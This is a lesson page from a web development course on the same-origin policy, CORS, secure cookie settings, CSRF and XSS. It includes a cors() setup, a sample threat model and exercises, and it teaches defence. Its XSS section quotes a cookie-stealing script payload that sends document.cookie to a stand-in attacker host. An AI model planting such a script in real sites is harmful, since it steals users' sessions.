0 / 91
Week 8 · Day 53 of 91

Cookies, CORS, CSRF, and XSS concepts

Backend Architecture, Authentication, and Security

Objective

Understand common browser security boundaries and avoid cargo-cult configuration.

Authentication identifies the operator; authorization checks which controls that operator is permitted to activate.

  • same-origin policy
  • secure cookie properties
  • cross-site request risks
  • output safety

Why this matters

Your API now issues session cookies. That means a browser will attach those cookies automatically to requests — including requests your user never meant to make. Today you learn the browser rules that decide when that happens, so you can configure them deliberately instead of copying a cors() line from an answer that "made the error go away".

That copied line is the real risk. Almost every serious CORS misconfiguration in the wild started as someone pasting origin: '*' to unblock a demo. By the end of today you will have a written one-page threat model for your own auth design and a CORS configuration you can justify origin by origin.

An origin, and the policy built on it

An origin is three things together: scheme + host + port.

https://app.example.com          → https, app.example.com, 443
http://app.example.com           → different scheme      → different origin
https://api.example.com          → different host        → different origin
http://localhost:5173            → different port from :3000 → different origin

Same company, same domain, different origin. The browser does not care about your intent.

The same-origin policy is the browser's core isolation rule: script running on one origin may not read responses from another origin. It is why a page on evil.example cannot fetch your webmail and read it, even though your browser is logged in.

Read the emphasis carefully, because everything else today follows from it: the policy blocks reading the response. In several important cases the request is still sent, and your server still executes it. That gap is where CSRF lives.

Isolated ground domains

A mixed-signal board separates analogue and digital grounds so noise on one cannot corrupt the other, and any crossing goes through a deliberate, single-point connection. Origins are ground domains for the web: isolated by default, and every crossing must be an intentional, specified link. Access-Control-Allow-Origin: * is a solder blob across the split plane — it makes the immediate problem go away and removes the isolation you were relying on.

CORS: choosing who may read your responses

CORS (Cross-Origin Resource Sharing) is how a server says "this specific other origin is allowed to read my responses". The browser asks; the server answers with headers; the browser enforces the answer.

Three facts that prevent most confusion:

  1. CORS is enforced by browsers only. curl ignores it entirely; so does any script not running in a page. CORS is not access control. Your requireAuth and requireRole checks from Day 52 are what actually protect data.
  2. CORS relaxes the same-origin policy — it never tightens it. Adding CORS headers can only grant access that was previously blocked.
  3. For anything other than a simple request — a PATCH, a DELETE, a custom header, or a JSON content type — the browser first sends a preflight: an OPTIONS request asking whether the real one is permitted. Seeing an unexplained OPTIONS in your logs is this, working correctly.

Configure it with the cors package, naming exactly the origins you use:

npm install cors
npm install --save-dev @types/cors
import cors from 'cors';

app.use(cors({
  origin: 'http://localhost:5173',   // the dev frontend, and nothing else
  credentials: true,                 // allow the session cookie to be sent
}));

`origin: '*'` and credentials are incompatible — for a reason

The browser refuses to send cookies to a wildcard origin, so the combination fails by design. The dangerous "fix" is reflecting whatever Origin header arrives back into Access-Control-Allow-Origin, which means every site is allowed, and any page your logged-in user visits can read their data. List real origins explicitly. In development that is one localhost port.

What secure cookie properties actually do

Your login route from Day 51 set four properties. Each defends against something different.

Property Effect Defends against
httpOnly Page JavaScript cannot read the cookie Session theft via XSS
secure Sent only over HTTPS Interception on the network
sameSite Limits sending on cross-site requests CSRF
expires / maxAge Cookie stops being sent Indefinitely reusable sessions

sameSite deserves detail. Lax — the modern browser default — sends the cookie on top-level navigations you click, but not on cross-site POSTs or background fetch calls. Strict is tighter and breaks the "click a link in an email and still be logged in" flow. None sends it always, requires secure, and is for deliberate cross-site setups only.

Setting a cookie expiry does not end the session. Only deleting the row does — which is the revocation advantage you chose sessions for yesterday. Your logout route must delete the session row, not merely clear the cookie.

Three different problems, one at a time

Beginners blur CORS, CSRF, and XSS into "browser security stuff". They are unrelated failures.

CORS failure — you blocked yourself. Your frontend on localhost:5173 calls your API on localhost:3000 and the browser console says the fetch was blocked by CORS policy. Nobody is attacking you; you have not declared the link. Fix it on the server by naming the origin.

CSRF — cross-site request forgery. Ana is logged into your app. She opens cute-cats.example, which contains a hidden form that POSTs to https://your-api.example/equipment/7/delete. Her browser attaches her session cookie automatically, because cookies travel by destination, not by who initiated the request. The attacker cannot read the response — the same-origin policy holds — but the deletion already happened. The damage is in the request, not the reply. Mitigations: sameSite=Lax or Strict, plus a CSRF token for state-changing requests in higher-risk apps, and never using GET for anything that changes data.

XSS — cross-site scripting. An attacker gets their script to run on your origin, usually by submitting content that your page later renders as markup. A maintenance note saved as <script>fetch('https://evil.example?c='+document.cookie)</script> runs with all your user's privileges — same-origin policy does not help, because the script is same-origin now. This is why httpOnly matters: it removes document.cookie as a target. It does not stop the script, which can still call your API as the user.

Three ways a letter goes wrong

CORS is the mail room refusing to hand your file to a courier from an unlisted company. CSRF is someone forging a request slip with your signature already on it — it gets executed, and they never see the file. XSS is someone getting their own instructions printed on your official letterhead, so everyone downstream obeys them. Different failures, different fixes.

Output safety

The defence against XSS is encoding output for the context it lands in, at the moment it is rendered — not "sanitising input" once at the door.

Your API returns JSON, and res.json() produces valid JSON with quotes and backslashes escaped, so a note containing <script> is transported harmlessly. The danger arrives when something turns that string into HTML. In Week 4 you saw the difference: assigning to textContent inserts text, while assigning to innerHTML parses markup and will execute what it finds.

So the rule for now: store what the user typed, unmodified; escape it when rendering. Mangling input at the boundary corrupts legitimate data — a technician who writes resistance < 5 ohms deserves to see that back — and it still misses the render path you forgot.

Five minutes, right now

Create a maintenance record whose notes are <script>alert(1)</script>, then GET it back with curl. You will see the characters intact inside a JSON string. Nothing executed, because nothing rendered it as HTML. Write down which future line of code would make it dangerous.

Walkthrough: a one-page threat model

A threat model is four short lists. Keep it to one page; a page that gets read beats a document that does not. Create docs/threat-model.md:

# Threat model — maintenance API (session cookie auth)

## Assets
- User credentials (bcrypt hashes in `users.password_hash`)
- Session IDs in `sessions.id` — possession equals login until expiry
- Equipment and maintenance data (integrity matters more than secrecy)

## Attackers
- Unauthenticated internet stranger with curl
- Logged-in technician trying admin actions (privilege escalation)
- Malicious third-party website a logged-in user happens to visit

## Boundaries
- Browser ↔ API: user controls everything on the browser side
- API ↔ PostgreSQL: parameterised queries only (Day 46)

## Mitigations in place
- bcrypt cost 12, salted; hashes never returned or logged (Day 51)
- requireAuth + requireRole + ownership checks, deny by default (Day 52)
- Cookie: httpOnly, sameSite=Lax, secure in production
- CORS: http://localhost:5173 only, credentials true

## Known limitations (accepted for now)
- No CSRF token; relying on sameSite=Lax alone
- No rate limiting on POST /auth/login — brute force is possible
- HTTP in development; secure cookies only enforced in production

The last list is the one that matters most. Naming what you have not fixed is engineering; pretending it is covered is not. These entries become Day 56's review list.

Tutor mode — use this before you write your model

"Explain CORS, CSRF, and XSS as three different problems. Give one concrete failure example for each." A tutor request asks for the explanation, a small example, and then lets you attempt it. Do not ask for a finished threat model or a security config — you would not be able to defend either. Answer this yourself first, in three sentences, then compare.

Your turn

  1. Write docs/threat-model.md with the five sections above, filled in for your code, not the example. Every mitigation must name the file that implements it.
  2. Configure cors with exactly the origins you actually use in development. If your frontend does not exist yet, that list may legitimately be empty — say so in a comment.
  3. Confirm your cookie options: httpOnly, sameSite, secure tied to NODE_ENV, and an expiry.
  4. Add or verify POST /auth/logout and make it delete the session row, then confirm the old cookie now returns 401.
  5. Do the <script> experiment from the [!try] block and note the result in your threat model.
  6. Write the CSRF scenario out in one paragraph in your own words: which cookie is sent, why the browser sends it, what your current setting does about it.
  7. List at least three known limitations. Three is a floor, not a target.

You are done when

Someone reading your one page can say what you are protecting, who from, and precisely which attacks you have not addressed yet.

Common pitfalls

  • Treating CORS as security. It restricts browsers only. curl ignores it. Authorization is what protects data.
  • Reflecting the Origin header. It looks like a tidy fix and allows every site on the internet. Use an explicit list.
  • Believing httpOnly stops XSS. It stops cookie theft. The injected script still runs and can call your API as the user.
  • Sanitising input instead of escaping output. It corrupts real data and misses the render path you forgot. Escape where the value is used.
  • A logout that only clears the cookie. The session row still validates. Anyone holding a copy of the ID is still logged in.

Verify it yourself

Open today's reference, the OWASP Top 10, and find the entries on security misconfiguration and on injection.

  1. Does OWASP list permissive CORS as a misconfiguration? Find the wording and add the citation to your threat model.
  2. OWASP treats XSS as part of a broader category. Which one, and what does that grouping tell you about the underlying cause shared by SQL injection and XSS? Write one sentence.

Both answers belong in docs/threat-model.md. A threat model with citations is a document another engineer can check; one without is an opinion.

The hour

  1. 0–5 min Recall

    Without notes, state yesterday’s main idea and one unresolved question.

  2. 5–20 min Learn

    Read only the listed concept notes and official reference sections needed today.

  3. 20–48 min Build

    Write a threat note for the chosen auth approach and configure only the origins needed in development.

  4. 48–55 min Explain and verify

    Run the result, inspect evidence, and explain the data/control flow in your own words.

  5. 55–60 min Quiz and commit

    Complete the quiz, record one lesson, and commit the verified change when applicable.

What to hand in

Deliverable

A one-page threat model with assets, attackers, boundaries, and mitigations.

Working with AI today

AI as tutor

Ask for explanations, analogies, questions, and hints. Do not request a complete finished solution first.

Explain CORS, CSRF, and XSS as three different problems. Give one concrete failure example for each.

References

End-of-day quiz

Q1 What does CORS primarily control?
Q2 Which result best proves today’s work is complete?
Q3 What is the best tutor-style AI request?

Explain-back gate

Pass the quiz above to unlock completion.

Quiz + explain-back checks required.